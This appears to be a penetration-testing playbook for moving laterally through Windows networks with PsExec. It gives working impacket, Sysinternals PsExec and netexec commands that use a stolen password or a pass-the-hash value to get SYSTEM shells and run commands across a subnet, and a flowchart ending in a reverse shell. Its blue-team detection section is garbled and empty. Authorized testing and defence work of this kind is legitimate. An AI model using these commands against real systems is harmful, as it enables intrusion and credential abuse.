Psexec Lateral Movement

Lateral Movement via PsExec

When to Use

• You have compromised valid domain administrator credentials or a local administrator account for a target system.
• You need to obtain an interactive command shell (cmd.exe or powershell.exe) or execute a payload on a remote Windows machine.
• SMB (Port 445) and RPC (Port 135) are accessible.

Prerequisites

• Authorized scope and rules of engagement for the target environment
• Appropriate tools installed on the attack/analysis platform
• Understanding of the target technology stack and architecture
• Documentation template ready for findings and evidence capture

Workflow

Phase 1: Mechanics of PsExec

PsExec works by performing the following actions:

1. Authenticates via SMB over Port 445.
2. Connects to the ADMIN$ hidden share (usually C:\Windows).
3. Uploads a service executable (e.g., PSEXESVC.exe).
4. Uses the Service Control Manager (SCM) via RPC to create and start a Windows service wrapping the executable.
5. Communicates input/output back via named pipes over SMB.

Phase 2: Remote Execution with Impacket (Linux)

# # impacket-psexec Administrator:Password123!@192.168.1.100

# Using Pass-the-Hash (PTH) impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:88e4d9fabaecf3dec18dd80905521b29 Administrator@192.168.1.100

Phase 3: Remote Execution with Sysinternals PsExec (Windows)

# # PsExec.exe \\192.168.1.100 -u Domain\Administrator -p Password123! cmd.exe

# Execute SYSTEM shell PsExec.exe \\192.168.1.100 -s -u Domain\Administrator -p Password123! cmd.exe

Phase 4: Automated Lateral Movement with CrackMapExec / NetExec

# netexec smb 192.168.1.0/24 -u Administrator -p Password123! -x "whoami"

Decision Point 🔀

flowchart TD
    A[Check SMB Access ] --> B{Admin Privs? ]}
    B -->|Yes| C[Upload Service ]
    B -->|No| D[PsExec Fails ]
    C --> E[Reverse Shell ]

🔵 Blue Team Detection & Defense

• Monitor EID 7045 / 4697: Hunting Anomalous Pipe Names: Disable SMBv1 and Restrict Port 445: Key Concepts

  Concept	Description

Output Format

Psexec Lateral Movement — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• Impacket Docs: impacket-psexec
• Microsoft: PsExec Documentation